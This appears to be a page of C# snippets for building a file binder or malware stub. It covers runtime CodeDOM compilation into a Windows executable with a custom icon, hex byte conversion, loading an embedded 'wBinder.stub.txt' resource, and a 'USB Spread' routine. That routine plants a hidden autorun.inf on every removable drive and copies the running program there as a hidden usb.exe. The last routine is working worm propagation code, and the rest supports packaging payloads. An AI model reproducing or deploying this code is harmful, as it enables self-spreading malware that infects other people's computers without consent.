Live CodeDOM Compiler

using Microsoft.CSharp;
using System.CodeDom.Compiler;
using System.Reflection;
using System.Windows.Forms;
...


string code = "String to compile";
CSharpCodeProvider cProv = new CSharpCodeProvider();
CompilerParameters cp = new CompilerParameters();
cp.ReferencedAssemblies.Add("System.dll");
cp.ReferencedAssemblies.Add("System.Windows.Forms.dll");
cp.ReferencedAssemblies.Add("System.Data.dll");
cp.ReferencedAssemblies.Add("System.Drawing.dll");
cp.ReferencedAssemblies.Add("System.Management.dll");
cp.ReferencedAssemblies.Add("System.Deployment.dll");
cp.ReferencedAssemblies.Add(typeof(System.Linq.IQueryable).Assembly.Location);
cp.GenerateExecutable = false;
cp.GenerateInMemory = true;
CompilerResults cResults = cProv.CompileAssemblyFromSource(cp, code);
TextBox response = new TextBox();
object obj = cResults.CompiledAssembly.CreateInstance("Compile.Code");
Type t = obj.GetType();
object[] arg = { response };
t.InvokeMember("Main", BindingFlags.InvokeMethod, null, obj, arg);
string responseText = response.Text;



Simple code to compile

using System;
using System.Windows.Forms;

namespace Compile
{
   public class Code
   {
       public void Main(TextBox text)
       {
           text.Text = "Message Box";
           MessageBox.Show("Test");
        }
    }
}

Read, Write & Conversion Bytes

byte[] file = File.ReadAllBytes("path");
string sb = BitConverter.ToString(file); \* Output: 1A-2F-C3

/* Write */
string[] hex = sb.Split('-');
byte[] raw = new byte[hex.Length];
for (int i=0; i<raw.Length; i++)
raw[i] = Convert.ToByte(hex[i], 16);

File.WriteAllBytes("path", raw);

Read Embeded File (Reflection)

using System.Reflection;
...

Stream stream = Assembly.GetExecutingAssembly().GetManifestResourceStream("wBinder.stub.txt");
StreamReader reader = new StreamReader(stream);
string source = reader.ReadToEnd();

CodeDOM Compiler

using Microsoft.CSharp;
using System.CodeDom.Compiler;
...

CSharpCodeProvider provider = new CSharpCodeProvider();
CompilerParameters cp = new CompilerParameters();

cp.ReferencedAssemblies.Add("System.dll");
cp.ReferencedAssemblies.Add("System.Windows.Forms.dll");
cp.ReferencedAssemblies.Add("System.Data.dll");
cp.ReferencedAssemblies.Add("System.Drawing.dll");
cp.ReferencedAssemblies.Add("System.Management.dll");
cp.ReferencedAssemblies.Add("System.Deployment.dll");
cp.ReferencedAssemblies.Add("System.Xml.dll");
cp.ReferencedAssemblies.Add(typeof(System.Linq.IQueryable).Assembly.Location);

cp.CompilerOptions = "/filealign:0x00000200 /optimize+ /platform:anycpu /debug- /target:winexe /win32icon:icon_path";

cp.GenerateExecutable = true;
cp.OutputAssembly = saveFileDialog1.FileName;
cp.GenerateInMemory = false;
CompilerResults cr = provider.CompileAssemblyFromSource(cp, source);

if (cr.Errors.Count > 0)
MessageBox.Show("Error building!");
else MessageBox.Show("Building successfully!");

USB Spread [N]

using System.IO;
...

DriveInfo[] drives = DriveInfo.GetDrives();
foreach (DriveInfo drive in drives)
{
if (drive.DriveType == DriveType.Removable)
{
StreamWriter writer = new StreamWriter(drive.Name + "autorun.inf");
writer.WriteLine("[autorun]\n");
writer.WriteLine("open=usb.exe");
writer.WriteLine("action=Run win32");
writer.Close();
File.SetAttributes(drive.Name + "autorun.inf", File.GetAttributes(drive.Name + "autorun.inf") | FileAttributes.Hidden);
File.Copy(Application.ExecutablePath, drive.Name + "usb.exe", true);
File.SetAttributes(drive.Name + "usb.exe", File.GetAttributes(drive.Name + "usb.exe") | FileAttributes.Hidden);
}
}